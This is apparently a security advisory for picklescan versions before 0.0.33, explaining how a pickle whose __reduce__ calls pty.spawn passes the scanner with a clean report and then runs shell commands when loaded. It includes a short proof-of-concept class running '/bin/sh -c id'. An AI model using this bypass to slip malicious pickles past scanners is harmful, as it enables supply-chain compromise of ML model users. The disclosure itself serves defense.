| Package | Affected versions | Patched versions |
|---|---|---|
| picklescan | < 0.0.33 | 0.0.33 |
Using pty.spawn, which is a built-in python library function to execute arbitrary commands on the host system.
The attack payload executes in the following steps:
First, the attacker craft the payload by calling to pty.spawn function in the __reduce__ method. Then the victim attempts to use picklescan to scan the pickle file for issues and sees this -
----------- SCAN SUMMARY -----------
Scanned files: 1
Infected files: 0
Dangerous globals: 0
The victim proceeds to load the pickle file and execute attacker-injected arbitrary code.
class PtyExploit:
def __reduce__(self):
return (pty.spawn, (["/bin/sh", "-c", "id; exit"],))
Who is impacted? Any organization or individual relying on picklescan to detect malicious pickle files inside PyTorch models. What is the impact? Attackers can embed malicious code in pickle file that remains undetected but executes when the pickle file is loaded. Supply Chain Attack: Attackers can distribute infected pickle files across ML models, APIs, or saved Python objects.
Running one of these products? Scan your site to see whether it exposes a vulnerable version.
Scan my site free